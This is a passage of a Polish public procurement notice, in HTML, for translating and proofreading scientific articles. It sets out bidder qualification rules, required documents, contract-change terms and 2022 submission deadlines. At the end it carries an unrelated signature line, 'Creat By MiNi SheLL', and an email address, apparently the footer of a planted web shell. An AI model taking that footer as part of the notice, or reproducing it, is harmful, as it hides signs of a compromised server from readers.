class="mb-0">4.3.4.) Rodzaj kryterium: </h3> serwis posprzedażny, pomoc techniczna, warunki dostawy takich jak termin, sposób lub czas dostawy, oraz okresu realizacji. <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Termin realizacji tłumaczenia i korekty 1 dokumentu</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.2.) Fakultatywne podstawy wykluczenia: </h3> <p class="mb-0">Art. 109 ust. 1 pkt 4</p> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> 1. Wykonawca spełni warunek udziału w postępowaniu dotyczący zdolności technicznej lub <br/> zawodowej jeżeli wykaże, że <br/> a) dysponuje jedną osobą posiadającą uprawnienia tłumacza przysięgłego <br/> języka angielskiego, wpisaną na listę tłumaczy przysięgłych, dostępną na <br/> stronie Ministerstwa Sprawiedliwości pod adresem<br/> https://arch-bip.ms.gov.pl/pl/rejestry-i-ewidencje/tlumacze-przysiegli/lista- tlumaczyprzysieglych/search.html <br/> b) dysponuje osobą Native’a Speakera języka angielskiego (brytyjskiego) <br/> posiadającą wykształcenie wyższe (co najmniej BSC Bachelor of Science) <br/> w zakresie dyscyplin naukowych: automatyka, elektronika i elektrotechnika, <br/> lub informatyka techniczna i telekomunikacja, lub inżynieria biomedyczna,<br/> która posługuje się językiem angielskim jako językiem ojczystym (nabytym w <br/> środowisku naturalnym, opanowanym przez Native Speakera w stopniu<br/> doskonałym)<br/><br/> c) dysponuje osobą Native’a Speakera języka angielskiego (amerykańskiego) <br/> posiadającą wykształcenie wyższe (co najmniej BSC Bachelor of Science) <br/> w zakresie dyscyplin naukowych: automatyka, elektronika i elektrotechnika, <br/> lub informatyka techniczna i telekomunikacja, lub inżynieria biomedyczna, <br/> która posługuje się językiem angielskim jako językiem ojczystym (nabytym w <br/> środowisku naturalnym, opanowanym przez Native Speakera w stopniu <br/> doskonałym)<br/> <br/> d) wykonał, nie wcześniej niż w okresie ostatnich 3 lat przed upływem <br/> terminu składania ofert, a jeżeli okres prowadzenia działalności jest <br/> krótszy - w tym okresie, usługę korekty językowej co najmniej 5<br/> artykułów naukowych z dziedziny nauk inżynieryjno – technicznych w <br/> zakresie elektroniki, lub telekomunikacji, lub informatyki, lub automatyki i <br/> robotyki, lub inżynierii biomedycznej, lub inżynierii materiałowej,<br/> opublikowanych w czasopismach zagranicznych indeksowanych w JCR lub <br/> SCOPUS, w języku angielskim o objętości łącznej nie mniejszej niż 100 <br/> stron rozliczeniowych (1 strona min. 1800 znaków ze spacjami).<br/><br/> 2. Wykonawca może w celu potwierdzenia spełniania warunków udziału w postępowaniu lub <br/> kryteriów selekcji, w stosownych sytuacjach oraz w odniesieniu do konkretnego <br/> zamówienia lub jego części, polegać na zdolnościach technicznych lub zawodowych lub <br/> sytuacji finansowej lub ekonomicznej podmiotów udostępniających zasoby, niezależnie <br/> od charakteru prawnego łączących go z nimi stosunków prawnych.<br/><br/>3. W odniesieniu do warunków dotyczących wykształcenia, kwalifikacji zawodowych lub <br/> doświadczenia wykonawcy mogą polegać na zdolnościach podmiotów udostępniających <br/> zasoby, jeśli podmioty te wykonają usługi, do realizacji których te zdolności są <br/> wymagane.<br/><br/>4. Wykonawca, który polega na zdolnościach lub sytuacji podmiotów udostępniających <br/> zasoby, składa wraz z wnioskiem o dopuszczenie do udziału w postępowaniu albo <br/> odpowiednio wraz z ofertą, zobowiązanie podmiotu udostępniającego zasoby do oddania <br/> mu do dyspozycji niezbędnych zasobów na potrzeby realizacji danego zamówienia lub <br/> inny podmiotowy środek dowodowy potwierdzający, że wykonawca realizując <br/> zamówienie, będzie dysponował niezbędnymi zasobami tych podmiotów.<br/><br/>5. Zobowiązanie podmiotu udostępniającego zasoby, o którym mowa w ust. 4 potwierdza, <br/> że stosunek łączący wykonawcę z podmiotami udostępniającymi zasoby gwarantuje <br/> rzeczywisty dostęp do tych zasobów oraz określa w szczególności:<br/><br/>1)	zakres dostępnych wykonawcy zasobów podmiotu udostępniającego zasoby,<br/>2)	sposób i okres udostępnienia wykonawcy i wykorzystania przez niego zasobów podmiotu udostępniającego te zasoby przy wykonywaniu zamówienia,<br/>3)	czy i w jakim zakresie podmiot udostępniający zasoby, na zdolnościach którego wykonawca polega w odniesieniu do warunków udziału w postępowaniu dotyczących wykształcenia, kwalifikacji zawodowych lub doświadczenia, zrealizuje roboty budowlane lub usługi, których wskazane zdolności dotyczą.<br/><br/> 6. Zamawiający ocenia, czy udostępnione Wykonawcy przez podmioty udostępniające <br/> zasoby zdolności techniczne lub zawodowe lub ich sytuacja finansowa lub <br/> ekonomiczna, pozwalają na wykazanie przez Wykonawcę spełniania warunków udziału <br/> w postępowaniu, o których mowa w art. 112 ust. 3 i 4 oraz, jeżeli to dotyczy kryteriów <br/> selekcji, a także bada, czy nie zachodzą wobec tego podmiotu podstawy wykluczenia, <br/> które zostały przewidziane względem wykonawcy.<br/><br/> 7. Podmiot, który zobowiązał się do udostępnienia zasobów odpowiada solidarnie z <br/> wykonawcą, który polega na jego sytuacji finansowej lub ekonomicznej, za szkodę <br/> poniesioną przez Zamawiającego powstałą wskutek nieudostępnienia tych zasobów, <br/> chyba, że za nieudostępnienie tych zasobów podmiot ten nie ponosi winy.<br/><br/> 8. Jeżeli zdolności techniczne lub zawodowe, sytuacja ekonomiczna lub finansowa <br/> podmiotu udostępniającego zasoby nie potwierdzają spełniania przez Wykonawcę <br/> warunków udziału w postępowaniu lub zachodzą wobec tego podmiotu podstawy <br/> wykluczenia, zamawiający żąda, aby wykonawca w terminie określonym przez <br/> zamawiającego zastąpił ten podmiot innym podmiotem lub podmiotami albo wykazał, że <br/> samodzielnie spełnia warunki udziału w postępowaniu.<br/><br/> 9. Wykonawca nie może, po upływie terminu składania ofert, powoływać się na zdolności <br/> lub sytuację podmiotów udostępniających zasoby, jeżeli na etapie składania ofert nie <br/> polegał on w danym zakresie na zdolnościach lub sytuacji podmiotów udostępniających <br/> zasoby. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">Zamawiający nie wymaga złożenia podmiotowych środków dowodowych na potwierdzenie<br/> okoliczności, o których mowa w art. 273 ust. 1 pkt 1 ustawy Pzp.</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">1. W celu potwierdzenia spełnienia warunków udziału w postępowaniu zamawiający żąda:<br/> a) wykazu osób, skierowanych przez wykonawcę do realizacji zamówienia <br/> publicznego, w szczególności odpowiedzialnych za świadczenie usług wraz z <br/> informacjami na temat ich wykształcenia, kwalifikacji zawodowych, doświadczenia a <br/> także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do <br/> dysponowania tymi osobami. <br/> Wykaz osób stanowi załącznik nr 6 do SIWZ.<br/><br/> b) wykazu wykonanych usług korekty językowej artykułów naukowych z dziedziny nauk <br/> inżynieryjno – technicznych w zakresie elektroniki, lub telekomunikacji, lub <br/> informatyki, lub automatyki i robotyki, lub inżynierii biomedycznej, lub inżynierii <br/> materiałowej opublikowanych w czasopismach zagranicznych <br/> indeksowanych w w JCR lub SCOPUS, wykonanych nie wcześniej niż w okresie <br/> ostatnich 3 lat przed upływem terminu składania ofert, a jeżeli okres <br/> prowadzenia działalności jest krótszy - w tym okresie. Do wykazu należy dołączyć <br/> dowody, że usługa została wykonana należycie. W przypadku świadczeń <br/> powtarzających się lub ciągłych nadal wykonywanych referencje bądź inne <br/> dokumenty potwierdzające należyte wykonanie powinny być wystawione w okresie <br/> ostatnich 3 miesięcy.<br/> Wykaz wykonanych usług stanowi załącznik nr 6a do SIWZ<br/> <br/><br/> 2. W odniesieniu do warunków dotyczących wykształcenia, kwalifikacji zawodowych lub <br/> doświadczenia wykonawcy wspólnie ubiegający się o udzielenie zamówienia mogą <br/> polegać na zdolnościach tych z wykonawców, którzy wykonają usługi, do realizacji <br/> których te zdolności są wymagane (art. 117 ust. 3 Pzp).<br/><br/> 3. W przypadku, o którym mowa w ust. 2, wykonawcy wspólnie ubiegający się o udzielenie <br/> zamówienia dołączają do oferty oświadczenie, z którego wynika, które usługi wykonają <br/> poszczególni wykonawcy. Wzór oświadczenia stanowi Załącznik nr 7 do SWZ.</span> </h3> <h3 class="mb-0">5.8.) Wykaz przedmiotowych środków dowodowych: </h3> Zamawiający nie żąda przedmiotowych środków dowodowych w postępowaniu <h3 class="mb-0">5.9.) Zamawiający przewiduje uzupełnienie przedmiotowych środków dowodowych: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.11.) Wykaz innych wymaganych oświadczeń lub dokumentów: </h3> 1) W celu potwierdzenia, że osoba działająca w imieniu Wykonawcy jest umocowana do <br/> jego reprezentowania, Zamawiający żąda od Wykonawcy odpisu lub informacji z <br/> Krajowego Rejestru Sądowego, Centralnej Ewidencji i Informacji o Działalności <br/> Gospodarczej lub innego właściwego rejestru.<br/><br/> 2) Wykonawca nie jest zobowiązany do złożenia dokumentów, o których mowa w pkt. 2, <br/> jeżeli Zamawiający może je uzyskać za pomocą bezpłatnych i ogólnodostępnych baz <br/> danych, o ile Wykonawca wskazał dane umożliwiające dostęp do tych dokumentów.<br/><br/> 3) Jeżeli w imieniu Wykonawcy działa osoba, której umocowanie do jego reprezentowania nie<br/> wynika z dokumentów, o których mowa w ust. 2, Zamawiający żąda od Wykonawcy<br/> pełnomocnictwa potwierdzającego umocowanie do reprezentowania Wykonawcy. <br/><br/> 4) Wymóg pełnomocnictwa dotyczy także osoby działającej w imieniu Wykonawców wspólnie<br/> ubiegających się o udzielenie zamówienia publicznego. <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia, a oferta taka <br/> spełniać musi następujące wymagania:<br/> 1) Wykonawcy muszą ustanowić Pełnomocnika do reprezentowania ich w <br/> postępowaniu o udzielenie zamówienia albo do reprezentowania ich w <br/> postępowaniu i zawarcia umowy w sprawie zamówienia publicznego.<br/><br/> 2) Wypełniając Formularz oferty, oraz inne dokumenty powołujące się na wykonawcę <br/> w miejscu np. „nazwa i adres wykonawcy” należy wpisać dane wykonawców <br/> wspólnie ubiegających się o zamówienie.<br/><br/> 3) Wykonawcy wspólnie ubiegający się o udzielenie zamówienia solidarnie <br/> odpowiadają za podpisanie i wykonanie umowy.<br/><br/> 4) W ofercie powinien być podany adres do korespondencji i kontakt telefoniczny z <br/> Pełnomocnikiem wykonawców wspólnie ubiegających się o udzielenie zamówienia<br/><br/> 5) Przed podpisaniem umowy, wykonawcy składający ofertę wspólną będą mieli <br/> obowiązek przedstawić kopię umowy regulującej ich współpracę.<br/><br/> 6) W odniesieniu do wymagań każdy wykonawca składający ofertę wspólną musi <br/> udokumentować, że nie podlega wykluczeniu oraz spełnia warunki udziału w <br/> postępowaniu w zakresie, w jakim każdy z wykonawców wykazuje spełnianie <br/> warunków udziału w postępowaniu.<br/><br/> 7) W odniesieniu do warunków dotyczących wykształcenia, kwalifikacji zawodowych <br/> lub doświadczenia wykonawcy wspólnie ubiegający się o udzielenie zamówienia <br/> mogą polegać na zdolnościach tych z wykonawców, którzy wykonają usługi,<br/> do realizacji których te zdolności są wymagane.<br/><br/> 8) W przypadku, o którym mowa w pkt. 7, wykonawcy wspólnie ubiegający <br/> się o udzielenie zamówienia dołączają do oferty oświadczenie, z którego <br/> wynika, które usługi wykonają poszczególni wykonawcy – Wzór oświadczenia <br/> stanowi załącznik nr 7 do SWZ. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> 1. Każda zmiana umowy wymaga formy pisemnej pod rygorem nieważności.<br/>2. Umowa może ulec zmianie na zasadach, o których mowa w art. 454 i 455 ustawy PZP, a nadto w okolicznościach określonych poniżej.<br/>3. Zamawiający przewiduje możliwość zmiany wysokości wynagrodzenia należnego Wykonawcy:<br/>1) w przypadku zmiany stawki podatku od towarów i usług, Wykonawca jest uprawniony złożyć Zamawiającemu pisemny wniosek o zmianę Umowy w zakresie płatności wynikających z faktur wystawionych po wejściu w życie przepisów zmieniających stawkę podatku od towarów i usług. <br/>Wniosek powinien zawierać wyczerpujące uzasadnienie faktyczne i wskazanie podstaw prawnych zmiany stawki podatku od towarów i usług oraz dokładne wyliczenie kwoty wynagrodzenia należnego Wykonawcy po zmianie Umowy,<br/>2) w przypadku zmian zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub zmiany wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne Wykonawca jest uprawniony złożyć Zamawiającemu pisemny wniosek o zmianę Umowy w zakresie płatności wynikających z faktur wystawionych po zmianie zasad podlegania <br/>ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości składki na ubezpieczenia społeczne lub zdrowotne. Wniosek powinien zawierać wyczerpujące <br/> uzasadnienie faktyczne i wskazanie podstaw prawnych oraz dokładne wyliczenie kwoty <br/> wynagrodzenia Wykonawcy po zmianie Umowy, w szczególności Wykonawca zobowiązuje się <br/> wykazać związek pomiędzy wnioskowaną kwotą podwyższenia wynagrodzenia a wpływem <br/> zmiany zasad, o których mowa w niniejszym punkcie 2) na kalkulację wynagrodzenia. Wniosek <br/> może obejmować jedynie dodatkowe koszty realizacji Umowy, które Wykonawca obowiązkowo <br/> ponosi w związku ze zmianą zasad, o których mowa w niniejszym punkcie 2).<br/><br/> Zamawiający przewiduje możliwość zmiany wysokości wynagrodzenia, jeżeli zmiany określone w pkt-cie 1), 2) <br/> będą miały wpływ na koszty wykonania Umowy przez Wykonawcę.<br/><br/> Zmiana Umowy w zakresie zmiany wynagrodzenia z przyczyn określonych w pkt 1), 2) obejmować będzie <br/> wyłącznie płatności za prace, których w dniu zmiany odpowiednio stawki podatku VAT i składki na <br/> ubezpieczenia społeczne lub zdrowotne, jeszcze nie wykonano.<br/><br/> Obowiązek wykazania wpływu zmian, o których mowa w niniejszym paragrafie na zmianę wynagrodzenia, o <br/> którym mowa w § 3 ust. 1 Umowy należy do Wykonawcy pod rygorem odmowy dokonania zmiany Umowy <br/> przez Zamawiającego.<br/><br/>4. Zamawiający przewiduje zmiany w składzie osób uczestniczących w wykonywaniu zamówienia.<br/> 1) Wykonawca może dokonywać zmiany osób, które będą uczestniczyć w Wykonywaniu <br/> zamówienia, przedstawionych w ofercie, jedynie za uprzednią pisemną zgodą Zamawiającego, <br/> akceptującą nową osobę. <br/> 2) w przypadku zmiany osoby, która będzie uczestniczyć w wykonywaniu zamówienia, nowa osoba <br/> musi posiadać kwalifikacje i doświadczenie, jakie posiadają osoby wskazane w ofercie, spełniać <br/> wymagania określone w swz oraz postanowieniach umowy,<br/> 3) Wykonawca musi z własnej inicjatywy zaproponować zastępstwo w przypadku śmierci, choroby <br/> lub wypadku lub innej przyczyny wyłączającej możliwość pracy którejkolwiek z osób. <br/> 4) Zamawiający może żądać zmiany, jeżeli w jego opinii osoba, która uczestniczy w realizacji <br/> zamówienia jest nieefektywna lub nie wywiązuje się z obowiązków wynikających z Umowy.<br/><br/> Zmiana pracownika świadczącego usługi nie wymaga zawierania przez Strony aneksu do umowy. <br/> Wykonawca zgłasza fakt zmiany pracownika pisemnie wraz z dokumentami potwierdzającymi kwalifikacje <br/> zawodowe i doświadczenie pracownika. <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2022-06-08 10:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">1.	Ofertę należy złożyć drogą elektroniczną za pośrednictwem Platformy pod adresem: https://platformazakupowa.pl/pn/pg_edu/proceedings na stronie dotyczącej przedmiotowego postępowania.</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2022-06-08 10:15</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2022-07-07</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IX – POZOSTAŁE INFORMACJE</h2> Wymagania techniczne i organizacyjne dot. korespondencji elektronicznej - c.d.:<br/>12. Podmiotowe środki dowodowe oraz inne dokumenty lub oświadczenia, o których mowa w rozporządzeniu Ministra Rozwoju z dnia 30 grudnia 2020 r. w sprawie podmiotowych środków dowodowych oraz innych dokumentów lub oświadczeń, jakich może żądać zamawiający od wykonawcy (Dz.U. poz. 2415), składa się w formie elektronicznej, w postaci elektronicznej opatrzonej podpisem zaufanym lub podpisem osobistym, lub w formie dokumentowej, w zakresie i w sposób określony w przepisach rozporządzenia Prezesa Rady Ministrów z dnia 30 grudnia 2020 r. w sprawie sposobu sporządzania i przekazywania informacji oraz wymagań technicznych dla dokumentów elektronicznych oraz środków komunikacji elektronicznej w postępowaniu o udzielenie zamówienia publicznego lub konkursie (Dz.U. poz. 2452) - dalej jako „rozporządzenie”.<br/><br/>13. Oferty, oświadczenia, o których mowa w art. 125 ust. 1 Pzp, podmiotowe środki dowodowe, w tym oświadczenie, o którym mowa w art. 117 ust. 4 Pzp, oraz zobowiązanie podmiotu udostępniającego zasoby, o którym mowa w art. 118 ust. 3 Pzp, zwane dalej „zobowiązaniem podmiotu udostępniającego zasoby”, przedmiotowe środki dowodowe, pełnomocnictwo, sporządza się w postaci elektronicznej, w formatach danych określonych w przepisach wydanych na podstawie art. 18 ustawy z dnia 17 lutego 2005 r. o informatyzacji działalności podmiotów realizujących zadania publiczne (Dz. U. z 2020 r. poz. 346, 568, 695, 1517 i 2320), z zastrzeżeniem formatów, o których mowa w art. 66 ust. 1 Pzp, z uwzględnieniem rodzaju przekazywanych danych.<br/>14. Ofertę należy złożyć:<br/>a)	w formie elektronicznej (tj. z kwalifikowanym podpisem elektronicznym) lub<br/> b) w postaci elektronicznej opatrzonej podpisem zaufanym lub<br/> c) w postaci elektronicznej opatrzonej podpisem osobistym<br/> podpisaną przez osobę/osoby upoważnioną/upoważnione za pośrednictwem <br/> https://platformazakupowa.pl/pn/pg_edu

Creat By MiNi SheLL
Email: jattceo@gmail.com